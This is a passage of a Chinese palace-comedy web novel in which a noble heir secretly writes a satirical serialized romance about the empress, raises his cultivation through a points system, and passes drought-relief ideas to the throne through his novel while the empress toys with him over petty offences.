他怒气冲冲地直奔听雨轩,一脚踹开房门,将正躺在床上琢磨怎么继续‘苟’下去的江凡揪起来,好一顿劈头盖脸的训斥!
“不成器的东西!老子给你创造机会,你倒好!直接把人家姑娘气跑了!你是不是又摆出那副死样子了?
啊?!我怎么生了你这么个榆木疙瘩!周小姐哪点配不上你?啊?!你…”
江撼岳唾沫横飞,把在女帝那里受的窝囊气全撒在了儿子身上。
江凡被骂得狗血淋头,心里委屈得要命,却又没法解释,只能耷拉着脑袋,默默承受。
他心里哀叹:爹啊爹,谁让你自作主张要给我安排亲事的?
万一暴露了,诛九族您可是头一份!
等骂完之后他才气呼呼离开,留下生无可恋的江凡在空中凌乱。
不久后,周文正也带着女儿告辞回府。
马车轱辘前行,车厢内气氛有些沉闷。
周文正看着女儿恬静的侧脸,叹了口气,试探着问道:
“婉茹啊,今日…你也见到了江世子。他…唉,虽说镇国公府门第高贵,但若你实在不喜,为父…
为父拼着这张老脸,也去回了这门亲事便是。断不能委屈了你。”
他本以为女儿会顺势答应,毕竟那江凡的表现,实在算不上出色。
谁知,周婉如却轻轻摇了摇头,抬起眼,目光坚定:
“爹爹,女儿觉得…江世子,并非传闻中那般不堪。他…待人真诚,只是性子直率了些。这门亲事…女儿没有意见,全凭爹爹做主。”
她的脸颊泛红,带着少女的娇羞,但眼神却异常明亮。
周文正愣住了,简直不敢相信自己的耳朵!
女儿竟然…同意了?
还夸那小子‘待人真诚?
他仔细打量着女儿,见她神色不似作伪,心中更是惊疑不定。
女儿是什么性子他再清楚不过,要是真的不喜欢,断不会是这种娇羞表情。
难道…两人离开后,他们发生了什么?
还是说…女儿看上了江凡那副皮囊?
该说不说,那纨绔长得的确人模狗样...
“婉茹,你…你可是认真的?”
周文正确认道。
“嗯。”周婉如轻轻点头,
“不过爹爹,女儿今日在国公府,心口旧疾似乎有些发作,虽然后来喝了参汤好了许多,但女儿心中总有些不安。想请王太医再来给女儿仔细诊诊脉,可好?”
她找了个合理的借口,确认自己身体是不是好转了。
周文正一听女儿旧疾可能发作,顿时紧张起来,连忙答应:
“好好好!回府就请!立刻请!”
回到周府,周文正立刻派人请来了常年为周家看诊、医术精湛的王太医。
王太医须发皆白,德高望重,对周婉如的先天心脉孱弱之症最是了解。<
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br>在王太医和周文正紧张的目光注视下,周婉如伸出皓腕。
王太医屏息凝神,三指搭上她的腕脉,仔细品察。
起初,他眉头微蹙,似乎有些疑惑,随即,他的眉头越皱越紧,脸上露出了难以置信的神色!
他反复诊察了数次,甚至让周婉如换了一只手。
最终,他收回手,长长舒了一口气,脸上充满了震惊与喜悦!
“奇哉!怪哉!妙哉!”
王太医连说三个‘哉’字,激动地胡子都在颤抖,
“周大人!恭喜!贺喜啊!令嫒这先天心脉孱弱之症…竟…竟已痊愈了七八成!脉象平稳有力,气血充盈,心脉虽仍比常人稍弱,但已无大碍!
只需再用药膳温养一段时日,必能与常人无异!这…这简直是奇迹啊!”
“什么?!”周文正猛地站起身,又惊又喜,几乎以为自己听错了!
“痊愈了?!王太医,您…您没诊错?小女这病,可是胎里带来的顽疾啊!”
“绝无差错!”王太医斩钉截铁,
“老夫行医数十载,绝不会看错!令嫒脉象之变化,宛若新生!若非亲见,实难相信!
周大人,请问近日可是请了哪位神医国手为小姐诊治?用了何灵丹妙药?此等手段,堪称鬼神莫测!老夫真想拜见请教一番!”
周文正又惊又喜,目光猛地看向女儿:
“婉茹!这…这是怎么回事?可是今日在镇国公府,发生了什么事?”
周婉如心中早已掀起了惊涛骇浪!
痊愈了!
真的痊愈了!
江凡!一定是他!
她强压下心中的激动,脸上露出恰到好处的茫然与惊喜:
“女儿…女儿也不知。今日在国公府花园,确实有些不适,心口发闷,是世子爷吩咐下人炖了参汤给女儿服用。
之后…便觉得舒坦了许多。难道…难道是那参汤的功效?”
她巧妙地将功劳推给了‘参汤’,既解释了病情好转,又保护了江凡的秘密。
“参汤?”王太医捋着胡须,沉吟道,
“若是寻常参汤,绝无此奇效!除非…是用了数百年乃至上千年的极品老参,辅以绝世医道高手调配,或有可能…但这也太匪夷所思了!”
第051章 当成了什么
太医依旧觉得难以置信,这种先天性的疾病,怎么能凭借参汤就康复?
周文正却不管那么多,他此刻满心都是女儿病愈的狂喜!
他紧紧握住女儿的手,老泪盈眶:
“好了就好!好了就好啊!定是那国公府的参汤不凡!镇国公府…果然底蕴深厚!江世子…有心了!有心了啊!”
他此刻看那‘纨绔’女婿,简直是越看越顺眼!
能拿出如此珍贵的药材救治女儿,说明他对婉茹是上了心的!
这门亲事,结得好!
结得太好了!
周婉如看着父亲欣喜若狂的样子,又想到那个隐藏在‘纨绔’面具下,身怀绝世才华的世子爷,露出一抹笑容。
这门亲事,她忽然…无比期待起来。
夜深人静,镇国公府听雨轩内,烛火摇曳。
江凡盘膝坐在床榻上,看着那已经突破十万大关、并且还在缓慢增长的人气值,心里美滋滋的。
虽然被老爹骂了个狗血淋头,相亲也相得一地鸡毛,但人气值的收获却是实打实的。
这波不亏!
“兑换!提升修为至先天巅峰!”
他毫不犹豫地下达指令。
冲击宗师初期需要二十万人气值,确实是一笔巨款,但先天巅峰也足以让他在京城横着走了。
苟住发育,稳扎稳打才是王道。
【消耗100000点人气值,开始灌输先天巅峰内力…】
轰——!
磅礴的能量,汹涌地灌入他的四肢百骸!
经脉被拓宽到了极限,丹田内的真气几乎凝成了实质,充满力量!
五感神识再次暴涨,方圆数十丈内的风吹草动、虫鸣蚁走都清晰可辨!
一种前所未有的强大感充斥全身,仿佛举手投足间便能开山裂石!
先天巅峰!
距离宗师之境,仅一步之遥!
良久,能量灌输结束。
江凡缓缓睁开双眼,眸中精光内敛,神完气足。
他感受着体内奔腾不息、如臂指使的雄浑真气,满意地点了点头。有了这份实力,安全感大增,以后‘苟’起来也更从容了。
实力提升,心情大好。
江凡走到书案前,铺开纸张,准备开始今天的‘创作大业’。
想到今天这场乌龙相亲,以及周文正父女被自己‘误伤’的事,他心里倒是生出几分歉意。
周文正那人看起来古板,但似乎并非奸恶之徒。
他女儿周婉如更是聪慧明理,还带着点小倔强,挺有意思一姑娘。
自己为了退婚,把人家写成那样,确实有点不地道。
“嗯,得找补一下。”
江凡摩挲着下巴,笔走龙蛇。
在《深宫秘恋》的最新章节里,他笔锋一转,开始描绘起‘周主事’和他女儿的另一面。
他写道,那位被误解的‘周主事’,虽然有时显得有些墙头草、缺乏主见。
但在一次关乎国本的重大决策面前,却出人意料地顶住了压力,坚持了正确的立场,展现出了读书人的风骨和气节。
而他的女儿‘周小姐’,也并非真如外界传言那般不堪,她之所以体态丰腴,是因一场大病后服药所致。
后来,她为了配得上心仪之人--一个正直的富家公子。
凭借惊人的毅力,严格控制饮食,勤加锻炼,短短两月便脱胎换骨,成了一位亭亭玉立、知书达理的大家闺秀。
最终与心上人喜结连理,传为佳话。
这么一写,不仅挽回了周家父女的形象,还多了几分励志和戏剧性,故事更好看了。
江凡对自己的‘洗白’操作颇为满意。
写完‘洗白’部分,江凡的恶趣味又上来了。
想到女帝让自己不痛快,还不把自己革职,他眼珠一转,决定给‘大乾女帝’和‘林枫’的感情线加点料。
他写道,因在治理水患的策略上产生严重分歧。
‘林枫’坚持己见,顶撞了‘女帝’,‘女帝’一怒之下将他斥退,两人陷入冷战。
‘女帝’心中苦闷,微服出宫散心,结果在街上偶遇一个…嗯,一个不学无术、却长得极为俊美、特别会哄人开心的纨绔子弟!
这纨绔子弟对‘女帝’一见钟情,使尽浑身解数讨好她,带她体验各种新奇玩法,让‘女帝’暂时忘却了朝堂烦恼,体验到了前所未有的轻松和快乐…
书中暗示
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,‘女帝’似乎对这纨绔产生了一丝微妙的好感…
写到这里,江凡差点笑出声来!
哈哈哈!
让你不给我罢官!
让你逼我上班!
我在书里给你安排个‘情敌’!
还是个纨绔!
就问你气不气!
他仿佛已经看到了女帝明天看到这章节时,那张绝美的脸蛋会如何扭曲变形!
“完美!”
江凡得意地检查了一遍稿件,确保没有问题,然后提交系统。
【作品检测中…完整性符合要求,审核通过。】
【开始随机生成复刻本(1000份),投放至京城及周边区域…投放中…】
搞定!
收工睡觉!
江凡心满意足地吹熄灯火,钻进被窝,很快进入了梦乡。
……
翌日,黎明前夕,紫宸宫寝殿。
萧璇月习惯性地伸手探向枕边,指尖果然触到了那熟悉的纸质触感。
她唇角不自觉地带上一丝期待的笑意,迫不及待地拿起《深宫秘恋》最新章节,倚在软枕上,就着朦胧的晨曦翻阅起来。
起初,她看得频频点头,尤其是看到作者为‘周主事’及其女‘洗白’的情节,凤眸中闪过一丝赞赏。
这逍遥公子,倒也不是一味胡闹,知错能改,懂得分寸。
看来昨日周文正父女的表现,让他也有所触动。
然而,当她翻到后面,看到‘林枫’与‘女帝’因政见不合而冷战,尤其是看到‘女帝’微服出宫,遇上那个‘俊美纨绔’,并被其‘哄得心花怒放’、甚至‘心生好感’的段落时…
萧璇月脸上的笑容瞬间僵住!
呼吸一滞!
捏着书页的指尖微微颤抖!
这…这混账东西!
竟敢如此编排于朕?!
把她写成和侍卫暧昧不清也就算了!
现在居然又给她安排了一个纨绔‘情人’?
还把朕写得如此…如此肤浅!
因为政见不合就冷落忠臣,转头就被一个只会花言巧语的绣花枕头纨绔子弟给迷住了?
这把她堂堂一国之君当成什么了?
水性杨花、昏聩无能的恋爱脑吗?
第052章 这特么也行
一股怒火‘噌’地直冲萧璇月头顶!
她气得胸口剧烈起伏,差点没把手中的书稿给撕了!
此刻终于能切身体会到,李文弼、周文正等人看到自己被丑化时,是何等的憋屈和愤怒了!
这逍遥公子,简直是…简直是岂有此理!
砰!
她将书稿狠狠摔在龙榻上,绝美的容颜罩上一层寒霜,凤眸中怒火熊熊!
好你个江凡!
仗着朕暂时不揭穿你,就无法无天了是吧?
竟敢在书里如此戏弄于朕!
她深吸了好几口气,才勉强压下立刻派人去把江凡抓来打板子的冲动。
不行,现在拆穿他,就不好玩了!
而且还会打草惊蛇!
但这口气,她咽不下去!
等下一定要找个借口好好教训他一顿!
“云暮!”她声音带着怒气。
“奴婢在。”
云暮悄无声息地出现,看到女帝的脸色,心中了然。
陛下怕是又看到什么‘精彩’内容了。
“更衣!上朝!”
萧璇月咬牙切齿地说道,每一个字都像是从牙缝里挤出来的。
……
紫宸殿,早朝。
文武百官肃立,敏锐地察觉到今日御座之上的气氛有些不同寻常。
女帝陛下虽然依旧威仪天成,但眉宇间凝着一层寒霜。
眼神扫过下方时,带着一股无形威压。
连平日最活跃的几位言官,今日都缩着脖子,不敢轻易出声。
江凡站在老位置,偷偷打了个哈欠。
昨晚熬夜写书,又刚刚突破,精神有些亢奋,后半夜没太睡好。
他低着头,努力对抗着袭来的困意。
这是上班狗的生活让他感觉无聊透顶,只想早点结束。
就在这时,一道冰冷的目光落在他身上!
江凡一个激灵,瞬间睡意全无!
他下意识地抬头,正好对上了龙椅上女帝那双含煞的凤眸!
那眼神…带着毫不掩饰的怒意!
仿佛要将他生吞活剥一般!
江凡心里咯噔一下:女帝这什么眼神?
难道我打哈欠被她看到生气了?
“江起居郎!”
萧璇月的声音响起,不高,却清晰地传遍大殿,带着一股压迫感,
“朕观你神色萎靡,哈欠连天,可是对朕的早朝…有何不满?或是觉得,朕与诸位爱卿商议国事,耽搁了你回府…休憩的时辰?”
这话可谓极重!
几乎是直接指责他怠慢君上!
江凡吓吓了一跳,连忙坐直身子回道:
“臣不敢!陛下明鉴!臣…臣昨日…昨日偶感风寒,精神不济,惊扰圣驾,臣罪该万死!”
他一边回复一边在心里疯狂吐槽:我靠!不就是打了个哈欠吗?
至于上纲上线到对朝会不满吗?
这女人今天吃错药了?
还是女人的那几天来了,所以脾气不好?
满朝文武也都被这突如其来的训斥吓了一跳,纷纷低头,大气不敢出。
江撼岳在一旁急得直跺脚,心里把儿子骂了个狗血淋头:
这个不争气的东西,在女帝身边工作是多少人羡慕的事情,给你机会也不中用啊!
周文正也捏了把汗,暗暗为未来女婿担忧。
而宰相李文弼等人,则眼中闪过一丝幸灾乐祸。
萧璇月看着江凡那副懵逼的模样,心中的火气总算消散了一丝,但依旧面沉似水,冷哼一声:
“既然身体不适,就更该谨言慎行!今日朝会,给朕打起精神来!若再敢有丝毫懈怠,朕定不轻饶!”
“是!臣遵旨!谢陛下不罪之恩!”
江凡这下是彻底精神了,眼观鼻鼻观心,比小学生还乖。
只是心中却在吐槽:要是看我不爽,直接革职啊!
谁稀罕当这个起居郎似得!
接下来的朝会,江凡简直是度秒如年。
他感觉女帝的目光时不时就从他身上刮过,让他如芒在背。
好不容易熬到退朝,他刚想找个借口请假,就听到女帝的声音响起:
“江起居郎,随朕到御书房。”
江凡顿时郁闷,看来今天是躲不掉了!
要是女帝真的是亲戚来了,不如趁机让她把自己革职?
想到这,他装作耷拉着脑袋,垂头丧气地样子跟着女帝,很快到了御书房。
御书房内,熏香袅袅。
萧璇月屏退了左右,只留云暮在旁伺候。
她走到御案后坐下,却没有立刻处理奏折,而是好整以暇地端起一杯茶,用杯盖轻轻拨动着浮叶,凤眸低垂,看不出喜怒。
江凡站在下首,心里
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七上八下,不知道这女人准备发什么疯。
他偷偷抬眼瞄了女帝一眼,正好对上她抬起的冰冷目光,吓得他赶紧低下头。
“江爱卿,”萧璇月放下茶杯,声音平淡无波,却带着一股无形的压力,
“朕方才想了想,你今日御前失仪,虽事出有因,但终究是坏了规矩。”
江凡心里一紧,来了!
要处罚了!
罢官?削爵?打板子?
他赶紧躬身:“臣知罪!请陛下责罚!”
态度无比诚恳,心中却在祈祷,赶紧把自己革职回去当纨绔。
萧璇月嘴角勾起一抹弧度:
“责罚嘛先不急…朕问你,方才你进这御书房,是先迈的左脚,还是右脚?”
“啊?”
江凡猛地抬头,一脸懵逼!
左脚右脚?
这算什么问题?
谁进门还特意记着自己先迈哪只脚啊?
他努力回忆了一下,好像…完全没印象啊!
“回…回陛下,”江凡额头冒汗,硬着头皮瞎蒙了一个,
“臣…臣好像是…左脚先进来的?”
“左脚?”萧璇月凤眸一眯,寒光乍现,‘砰’地一拍御案!
“大胆!朕这御书房,乃商议军国大事之重地,自有规矩!历来臣工觐见,皆需右脚先进,以示恭敬!
你竟敢左脚先行,是何居心?莫非是对朕心怀不满,故意挑衅不成?”
江凡:“!!!”
我靠!
这特么也行?
你这找茬的理由能再明显一点吗?
他终于百分之百确定,女帝就是大姨妈来了!
早就听闻,女人这几天是不可理喻的,现在总算领教了。
“陛下圣明!”
江凡立即顺杆子往上爬,装出一副惶恐的表情,
“臣…臣愚钝!臣真的不知道有这个规矩啊!臣绝非有意!”
“不知道?”萧璇月冷哼一声,
“规矩就是规矩!岂是一句不知道就能搪塞过去的?念你初犯,朕也不重罚于你…就罚俸三个月,以儆效尤!”
罚俸三个月?
江凡可不满意这样的责罚,这婆娘每个月都有几天心情不好,长期待下去谁受得鸟?
越想越觉得这‘起居郎’的差事不是人干的!
必须趁这个机会辞职!
第053章 出了口恶气
江凡把心一横,立即对着女帝拱手道:
“陛下!臣…臣才疏学浅,性情顽劣,实在难当起居郎之重任!今日御前失仪,左脚进门,更是罪加一等!
臣恳请陛下,革去臣起居郎一职,让臣回家…闭门思过!臣…臣实在愧对陛下信任啊!”
他声音哽咽,演技爆表,试图激发女帝的‘同情心’,把他这个‘祸害’踢走。
萧璇月看着他的表演,心中冷笑连连。
想跑?
门都没有!
朕还没玩够呢!
昨晚的话本那样编排朕,怎么能轻饶你?
她故意沉默了片刻,才缓缓开口,语气似乎缓和了一些:
“哦?现在知道愧对朕了?刚才在朝堂上打哈欠的时候,怎么不想想?”
她顿了顿,话锋一转,
“罢了,看你尚有悔过之心,又是初入朝堂,朕若因此等小事便罢黜于你,倒显得朕没有容人之量了。”
江凡神色一僵:别啊,快答应把我赶走啊喂!
谁知萧璇月接着说道:“罚俸之事,暂且记下。朕给你一个将功折罪的机会。”
江凡的心又沉了下去。
将功折罪?
我罪从何来啊喂?
就因为打个哈欠,然后左脚进入御书房?
萧璇月无视他懵逼的表情,站起身走到窗边,望着窗外有些灰蒙蒙的天空,语气带着一丝沉重:
“近日各地奏报,北方数道久未逢甘霖,旱情已现,若再持续下去,今秋粮食必然减产,百姓生计艰难,国库亦将吃紧。朕心甚忧。”
她转过身,目光锐利地看向江凡:
“江爱卿,你既在朕身边当差,便当为君分忧。朕命你,三日之内,想出一个应对此次旱情、缓解粮荒的有效法子来。
不必是惊世骇俗之策,但求切实可行,能解燃眉之急。若能想出,之前左脚进门之过,朕便既往不咎。若想不出…”
她拖长了音调,凤眸中寒光一闪,
“数罪并罚,朕定不轻饶!”
江凡听完,整个人都傻了!
应对旱情?缓解粮荒?
我一个纨绔,你让我想这个?
“陛下!”江凡小心翼翼的问道,
“臣一介纨绔,对农事一窍不通啊!这等军国大事,臣…臣实在无能为力啊!陛下还是罚臣革职回家吧!”
女帝见这货张口闭口的想‘革职回家’,顿时怒从心头起,脸色沉了下来:
“江爱卿,若你办不到,那就全家一起革职如何?”
江凡一听女帝拿‘全家革职’来威胁,差点跳起来!
他自己罢官免职求之不得,可要是连累老爹丢官罢爵,甚至被问罪,那乐子可就大了!
老爹非得清理门户不可!
“陛下!万万不可啊!”
江凡也顾不得装可怜了,急声道,
“家父对朝廷忠心耿耿,绝无二心!此事全是臣一人之过,与家父绝无干系!求陛下明察!”
他这回是真有点急了。
萧璇月看着他那副惊慌失措的样子,心中那股恶气总算消散了大半。
她慢条斯理地坐回龙椅,指尖轻轻敲着扶手:
“哦?现在知道怕了?既然不想连累你父亲,那就给朕好好想想办法!三日之内,朕要看到你的条陈!”
江凡心里把女帝翻来覆去一百遍啊一百遍,但面上却不敢表露半分,只得哭丧着脸,不情不愿地躬身道:
“臣…臣遵旨!臣…臣一定绞尽脑汁,为陛下分忧!”
他心里想的却是:想个屁!
小爷我回去就继续写小黄书…啊不,是写《深宫秘恋》恶心你去!
大不了三天后你想不出办法,把我和老爹一起革职!
正好回家专心写书赚人气值!
“退下吧。”
萧璇月挥了挥手,心情颇佳地开始批阅奏折。
看着江凡蔫头耷脑、一步三晃地退出御书房的背影,她嘴角忍不住向上扬起。
小样儿,跟朕斗?
朕倒要看看,你这三天能‘想’出什么好办法来!
是不是又得靠你那个‘逍遥公子’的马甲?
……
江凡憋着一肚子火气和郁闷回到镇国公府。
刚进前厅,早就等得不耐烦的江撼岳就劈头盖脸一顿训斥:
“你个混账东西!今日在朝堂上竟敢如此懈怠!还敢惹陛下动怒!老子这张老脸都快被你丢尽了!说!陛下留你下来所为何事?是不是又闯祸了?!”
江凡心里正烦着呢,也没好气地顶了一句:
“爹!我能闯什么祸?是陛下…陛下考较我学问!问我应对旱灾之策!我答不上
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来,被训斥了几句而已!”
他半真半假地抱怨道。
“应对旱灾?”
江撼岳一愣,随即嗤之以鼻,
“陛下问你?你除了会气人还会什么?答不上来活该挨训!滚回你的院子好好反省去!别再出去给老子丢人现眼!”
江凡也懒得跟老爹争辩,哼了一声,扭头就回了自己的听雨轩。
一进门,他就把房门摔得震天响!
欺人太甚!简直欺人太甚!
这女帝太不是东西了!
明明就是公报私仇!
不行!这口气不能忍!
他冲到书案前,铺开纸张,宗师级书画技能全力发动,笔走龙蛇,要把满腹的‘委屈’和‘愤怒’全都倾泻到《深宫秘恋》的最新章节里!
他先是延续了昨天的‘狗血’剧情,极尽夸张之能事,描写‘大乾女帝’如何被那个‘俊美纨绔’迷得神魂颠倒。
甚至为了陪纨绔游玩而荒废朝政,将忠心耿耿的‘侍卫林枫’冷落在一旁!
林枫心中愤懑难平,几次劝谏无效,反遭斥责,一怒之下递交辞呈,却被女帝以‘需要你护卫安危’为由强行驳回!
林枫郁闷之下,在宫外借酒消愁,恰遇那‘纨绔’挑衅,两人发生冲突。
林枫盛怒之下欲杀之而后快,却在关键时刻被闻讯赶来的女帝救下!
女帝厉声呵斥林枫心胸狭窄、以下犯上,却对那吓得花容失色的纨绔温言软语,百般呵护!
三人之间的感情纠葛变得更加剪不断、理还乱,充满了浓浓的狗血味!
江凡写得眉飞色舞,酣畅淋漓,仿佛通过笔下的女帝出了口恶气!
写完这段,他感觉心情舒畅了不少。
但爽过之后,现实问题还是得面对。
女帝交代的‘抗旱救灾’的差事,总不能真摆烂等革职吧?
万一女帝较真,真把老爹牵连了,那麻烦就大了。
“唉,真是麻烦!”
江凡叹了口气,挠了挠头。
直接想出办法献上去?
那不符合自己纨绔的人设,也太显眼了。
看来,还得靠老办法——借‘逍遥公子’之口说出来。
可是,怎么才能既把办法递上去,又显得跟自己这个纨绔没关系呢?
他眼珠一转,有了主意。
第054章 可有眉目了
江凡在接下来的剧情中,笔锋一转。
写道‘侍卫林枫’因情场失意、心灰意冷,最终选择离开皇宫这个伤心地,四处游历散心。
途中,他亲眼目睹了旱情肆虐、百姓流离失所、饥荒蔓延的惨状,虽心有不忍,但起初并不想多管闲事。
然而,当他看到一个面黄肌瘦的小女孩,因为误食了有毒的野草而奄奄一息时,恻隐之心大动,终于无法坐视不理。
于是,林枫凭借其‘家学渊源’,开始仔细勘察灾区的植被。
他发现,许多地方生长着一种名为‘木薯’的植物,块茎硕大,产量极高。
但因含有毒性,百姓不敢食用,任其烂在地里。
林枫便详细回忆并记录下了一种通过浸泡、研磨、蒸煮等多道工序,彻底去除木薯毒性,并将其制作成可食用淀粉甚至各种糕饼的方法。
此外,他还列举了其他几种在灾荒年间常见、但常被忽略或不知如何食用的野菜、树皮、草根等,详细说明了其无毒化处理和烹饪方式。
他写得极其详尽,步骤清晰,注意事项明确,仿佛亲身实践过一般。
这样一来,既解决了救灾的实际问题,又符合林枫侠义心肠、知识渊博的人设,完美地将私货夹带了出去。
“搞定!”
江凡放下笔,满意地检查了一遍。
到时候女帝问起,自己就说是在最新的话本里看到的,反正‘逍遥公子’无所不能嘛!
既能交差,又不会暴露自己。
女帝要是满意,算自己将功折罪;要是不满意,正好借机要求革职!
简直是一石二鸟!
他美滋滋地将稿件提交给系统。
【作品检测中…完整性符合要求,审核通过。】
【开始随机生成复刻本(1000份),投放至京城及周边区域…投放中…】
看着人气值再次跳动上涨,江凡心满意足地伸了个懒腰。
危机暂时解除,还顺便又恶心了女帝一把,爽!
他吹熄灯火,倒头就睡,期待着明天女帝看到新章节时,那精彩纷呈的表情。
……
翌日,黎明。
紫宸宫寝殿内,萧璇月醒来后的第一件事,依旧是伸手探向枕边。
当指尖触碰到那熟悉的书册时,她犹豫了一下。
经过昨天那‘纨绔情敌’的刺激,她对这话本的心情可谓是又爱又恨,复杂无比。
但强烈的好奇心,还是驱使她翻开了书页。
果然!
开篇就是让她血压飙升的内容!
‘女帝’被‘纨绔’迷得晕头转向,冷落‘林枫’,甚至为了‘纨绔’呵斥忠臣…
萧璇月看得银牙暗咬,凤眸喷火!
好你个江凡!
真是变本加厉了!
她几乎能想象出那小子一边写一边偷笑的可恶嘴脸!
她强忍着把书撕碎的冲动,耐着性子往下看。
当看到‘林枫’心灰意冷离开皇宫,游历灾区,并最终出手救助灾民。
详细记述‘木薯去毒食用法’以及其他救荒植物的处理方法时,她心中的怒火才渐渐被惊讶和思索所取代。
木薯?
这东西她似乎在一些地方志上见过记载,确实被提及有毒,无人食用。
若此法当真可行…那对于缓解饥荒,无疑是雪中送炭!
还有那些野菜、树皮的吃法…虽然听起来简陋,但在大灾之年,可能就是活命的关键!
她的目光变得锐利起来,仔细推敲着书中的每一个步骤。
以她对逍遥公子此前所献策略的了解,此人看似玩世不恭,但所出之言,往往直指要害,极具可行性!
这次,恐怕也非虚言!
“云暮!”她立刻唤来贴身女官。
“奴婢在。”
“立刻将书中关于‘林枫’所述救荒之法的部分,一字不差地抄录下来!要快!”
萧璇月吩咐道,语气严肃,
“抄录完毕后,立刻秘密送往皇庄,命人速寻木薯及书中所提诸物,严格按照此法进行试制、试食!朕要尽快知道结果!”
“是!陛下!”
云暮领命,不敢怠慢,立刻着手办理。
萧璇月放下话本,走到窗边,望着晨曦微露的天空,心中五味杂陈。
这个江凡…真是让她又恨又…不得不倚重!
明明心里有济世之策,却偏要用这种气**的方式递上来!
不过…他倒是
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没让自己失望。
看来,三日期限未到,他这‘将功折罪’的条陈,已经以这种独特的方式‘上交’了。
早朝时分,紫宸殿内气氛依旧肃穆。
江凡今日学乖了,眼观鼻鼻观心,站得笔直,连大气都不敢喘,生怕再被女帝抓到把柄。
他偷偷抬眼瞄了龙椅上一眼,见女帝面色平静,看不出喜怒,心里暗暗嘀咕:
看来是看到了?怎么没反应?
是没看懂?还是气过头了?
萧璇月端**,目光扫过下方,在江凡身上停留了一瞬,见他一副鹌鹑样,心中冷笑:
装!继续给朕装!
朕看你还能装到几时!
江凡心里七上八下,也不知道女帝这葫芦里卖的什么药。
不过,既然她没当场发难,那就走一步看一步吧!
反正办法已经‘给’你了,用不用随你!
不用正好,小爷我等着革职回家!
退朝后,萧璇月也没有找他说话,这让他暗暗松了口气。
然而,他并不知道,一场针对‘木薯去毒法’的紧急试验,正在京郊皇庄紧锣密鼓地进行着。
而女帝对他这个‘逍遥公子’的身份,已然确信不疑。
只是暂时按兵不动,等着看他下一步还会演出怎样的‘好戏’。
走进御书房,女帝萧璇月正端坐御案后,批阅着奏折,头也没抬,仿佛没看见他进来。
江凡规规矩矩地行礼:
“臣江凡,参见陛下。”
萧璇月这才放下朱笔,抬起凤眸,目光平静地落在他身上,语气听不出喜怒:
“江爱卿,朕昨日交办之事,你可有眉目了?”
她故意不提具体内容,等着看江凡如何表演。
江凡心里早有准备,立刻从袖袋里掏出一本《深宫秘恋》最新章节,双手呈上,脸上堆起谄媚的笑容:
“回陛下!臣…臣昨日回去后,彻夜难眠,苦思冥想,奈何才疏学浅,实在想不出什么良策。
正当臣一筹莫展之际,忽然想起近日市井流传的这话本!臣便抱着试一试的心思翻阅了一下,结果…结果您猜怎么着?”
他故意卖了个关子,偷眼观察女帝的反应。
第055章 日子没法过
只见萧璇月嘴角似乎抽动了一下,但依旧面无表情:
“哦?莫非这话本里,还有安邦定国之策不成?”
“有!有啊陛下!”江凡一拍大腿,演技浮夸,
“这话本最新一回里,那个叫林枫的侍卫,离宫之后游历灾区,竟然详细记载了好几种应对饥荒的法子!
尤其是那个叫什么…‘木薯’的玩意儿,据说产量极高,就是有毒,但他写了怎么去毒,怎么吃!还有好些个野菜树皮的吃法!写得可详细了!
臣一看,这…这说不定有用啊!虽然…虽然这话本里写的都是虚构的,但万一有点道理呢?臣不敢藏私,特来呈报陛下!请陛下圣裁!”
他说得唾沫横飞,仿佛发现了什么惊天大秘密,完美演绎了一个‘不学无术却偶得奇书、急于表功’的纨绔形象。
萧璇月静静地看着他表演,心中冷笑连连。
装!继续装!
她伸手接过那本话本,随意翻看了几眼,然后合上书,淡淡地道:
“嗯,朕知道了。此法…朕会命人前去试验验证。若果真有效,算你…献策有功。”
江凡一听,心里乐开了花!
过关了!
就这么简单?
他强压住喜悦,连忙躬身:
“为陛下分忧,是臣的本分!”
心里却嘀咕:看来女帝对逍遥公子的‘私货’还是很信任的嘛!
下次可以继续用这招!
然而,他高兴了还没三秒钟,就听女帝话锋一转,语气变得有些玩味:
“不过,江爱卿啊…”
她拿起那本话本,在手中掂量了一下,凤眸斜睨着江凡,带着一丝若有若无的笑意,
“朕方才随便翻了翻,发现这话本里…似乎对朕…嗯,对大乾女帝,颇多不敬之词啊?
什么被纨绔迷得神魂颠倒,冷落忠臣…这逍遥公子,如此编排君上,诽谤朝臣,按律…该当何罪啊?”
江凡心里咯噔一声,冷汗瞬间就下来了!
女帝真的对号入座了?
他赶紧挤出最诚恳的表情,辩解道:
“陛下明鉴!这…这话本都是虚构的!架空历史!当不得真!纯属娱乐!百姓茶余饭后看着解闷的!
那逍遥公子虽然…虽然有时候口无遮拦,但他也献上了治水、治天花、救灾荒的良策,功在社稷啊!
陛下胸怀四海,何必与一介写书匠计较?若是严惩,岂不让天下有才之士寒心?”
他拼命给‘自己’说好话,生怕女帝一个不高兴,真把逍遥公子给通缉了。
退一万步来说,要是女帝不爽,把《深宫秘恋》列为**,自己还怎么赚人气值?
“哦?功是功,过是过。”
萧璇月慢条斯理地说道,凤眸中寒光一闪,
“有功当赏,有过…自然也该罚!如此肆无忌惮地诋毁君上,动摇国本,按律…当诛九族!”
她故意停顿了一下,欣赏着江凡开始煞白的脸色,才悠悠补充道,
“不过嘛…朕念在他屡有献策之功,或许…可以网开一面。不诛其九族,只将他本人…
凌迟处死,以儆效尤,也就是了。江爱卿,你觉得…朕如此处置,可还公允?”
凌…凌迟处死?
江凡腿一软,感觉自己的脖子后面凉飕飕的!
这凌迟…可是要亲命啊!
一旦身份暴露,很难说女帝不会真的把自己剐了!
他声音都有些哆嗦:
“陛下!三思啊!陛下!这…这处罚太重了!逍遥公子罪不至此啊!他…他可能就是…就是写着玩的!没什么恶意...”
他心里已经把肠子都悔青了!
早知道女帝这么狠,昨晚就不该写那么狗血!
看着江凡语无伦次的样子,萧璇月心中那股恶气总算彻底烟消云散。
她强忍着笑意,板着脸道:
“哼!此事朕自有考量!你退下吧!记住,今日之言,不得外传!”
“是是是!臣遵旨!臣告退!”
江凡如蒙大赦,连滚带爬地退出了御书房。
直到走出宫门,被冷风一吹,才感觉自己捡回了一条小命,后背早已被冷汗浸透!
太可怕了!
女帝太可怕了!
伴君如伴虎啊!
他第一次对‘逍遥公子’这个马甲产生了强烈的危机感!
不行!
得赶紧想办法补救!
至少…至少得把女帝的形象给洗白一点!
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不然真被她查出来,小命不保啊!
他失魂落魄地回到镇国公府,还没进自己院子,就被老爹江撼岳给叫到了书房。
“臭小子!今天没惹陛下生气吧?”
江撼岳脸色倒是比昨天好看不少,虽然还是板着,但语气缓和了许多,
江凡有气无力地‘嗯’了一声,没什么精神。
江撼岳只当他是累了,也没多想,继续说道:
